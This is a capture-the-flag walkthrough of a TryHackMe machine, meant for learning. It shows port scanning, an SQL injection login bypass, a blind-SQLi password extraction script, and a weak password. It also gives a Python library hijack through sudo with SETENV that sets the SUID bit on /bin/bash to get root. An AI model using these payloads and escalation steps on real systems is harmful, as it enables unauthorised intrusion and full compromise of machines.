
Reconnaissance
Port Scan
We start by doing an nmap to discover the open ports:
nmap -p- -sS --min-rate 5000 -vvv -n -Pn 10.65.170.86 -oG allPorts-p-: Scan all 65535 TCP ports-sS: Perform a SYN stealth scan--min-rate 5000: Send packets no slower than 5000 per second-vvv: Very verbose output for detailed information-n: Skip DNS resolution to speed up the scan-Pn: Skip host discovery and assume the host is up-oG allPorts: Save results in grepable format to file named allPorts
Obtaining only ports 22 and 8000 are open:
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 62
8000/tcp open http-alt syn-ack ttl 62And then we perform another nmap more intense on the open ports discovered:
nmap -p22,8000 -sCV 10.65.170.86 -oN target-p22,8000: Scan only ports 22 and 8000-sC: Run default NSE scripts for additional enumeration-sV: Probe open ports to determine service and version information-oN target: Save output in normal format to file named target
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 01:94:05:88:81:4c:04:b1:df:07:c5:6e:33:ae:5c:02 (RSA)
| 256 9d:54:d2:49:65:9d:ff:c6:eb:9c:9d:92:ee:f2:a3:be (ECDSA)
|_ 256 65:16:4d:3f:8e:1e:11:2b:d3:72:8d:fa:5d:e0:36:be (ED25519)
8000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelSo, it seems we will have to enter by the web at port 8000.
Web
The web only has a Login panel and a Sing Up part.
If we create an account and sing in as a dummy user test , we don’t see anything at all. So we might try to login as other user.
We try typicall combinations (admin:admin, admin:password, admin:admin123 …)
But nothing happens.
SQLi
If we try to make an SQLi to force a login with ' or 1=1-- -; at the user field, we se that we log in as the user smokey.
So, as we now know we are in front of a vulnerable page to SQLi, we will develop an script to obtain the password of smokey.
I have already developed the script and you can find it at my GitHub: https://github.com/nekr0ff/Blind-SQL-Injection-Password-Extractor
Installation of the Exploit
Clone this repository:
git clone https://github.com/nekr0ff/Blind-SQL-Injection-Password-Extractor.git
cd Blind-SQL-Injection-Password-ExtractorInstall the dependencies:
pip install requestsExploitation
python3 sqli_credentials.py -u smokey -t http://10.65.170.86:8000/login -m "Welcome to the index page..."And with that we have the smokey password and we can connect through SSH to the machine
Lateral movement
We see that the user.txt is under hazel directory.
We execute the linpeas.sh and we discovered some interesing things:
- The route to the web app is
/var/opt/app/app.py - There is a mysql service running
We will connect to the MySQL server, but we don’t have a password.
Lucky us, at the /var/opt/app/app.py it is the configuration of the MySQL service.
We can connect with that password:
smokey@ip-10-65-170-86:/var/opt/app$ mysql -u smokey -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \\g.
Your MySQL connection id is 916
Server version: 8.0.41-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2025, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.
mysql> Unfortunately, we don’t find the password for hazel on the MySQL database.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| performance_schema |
| website |
+--------------------+
3 rows in set (0.00 sec)
mysql> use website;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-------------------+
| Tables_in_website |
+-------------------+
| users |
+-------------------+
1 row in set (0.01 sec)
mysql> describe users;
+----------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+----------------+
| id | int | NO | PRI | NULL | auto_increment |
| username | varchar(255) | NO | | NULL | |
| password | varchar(255) | NO | | NULL | |
| email | varchar(100) | NO | | NULL | |
+----------+--------------+------+-----+---------+----------------+
4 rows in set (0.01 sec)
mysql> select username,password from users;
+----------+----------------+
| username | password |
+----------+----------------+
| smokey | M************* |
| test | test123 |
+----------+----------------+
2 rows in set (0.00 sec)
mysql> After trying more strange techniques, I find out that the password for the user hazel was HER OWN NAME hazel
Privilege Escalation
Once we are logged in as hazel, we see that she has the privilege to execute
SETENV: NOPASSWD: /usr/bin/python3 /home/hazel/hasher.py
The file is this one:
import hashlib
def hashing(passw):
md5 = hashlib.md5(passw.encode())
print("Your MD5 hash is: ", end ="")
print(md5.hexdigest())
sha256 = hashlib.sha256(passw.encode())
print("Your SHA256 hash is: ", end ="")
print(sha256.hexdigest())
sha1 = hashlib.sha1(passw.encode())
print("Your SHA1 hash is: ", end ="")
print(sha1.hexdigest())
def main():
passw = input("Enter a password to hash: ")
hashing(passw)
if __name__ == "__main__":
main()This is key because of the SETENV.
We see that this file imports the library hashlib , so we can manipulate the PYTHONPATH environment variable to inject malicious code with fake libraries (in this case, hashlib)
So, we create a file at a writeable directory (in this case hazel has no acces to any typicall directory, but we saw that smokey does has access to /tmp , so we will create the file as the user smokey to then execute it as hazel).
The file will be this hashlib.py:
import os
os.chmod("/bin/bash", 0o4755)This gives SUID perm to /bin/bash.
Then we execute the file hijacking the PYTHONPATH variable as hazel:
sudo PYTHONPATH=/tmp/ /usr/bin/python3 /home/hazel/hasher.pyAnd now we execute the shell with privileges:
/bin/bash -pThere you go, you are now root.
Conclusion
This TryHackMe machine demonstrated a complete attack chain combining SQL injection for initial access, weak credential exploitation for lateral movement, and Python library hijacking via PYTHONPATH manipulation for privilege escalation. The box effectively reinforced essential penetration testing skills including web application exploitation, enumeration techniques, and understanding sudo misconfigurations with SETENV permissions.
Video Walkthrough
Here you have the resolution of the machine in my YouTube channel: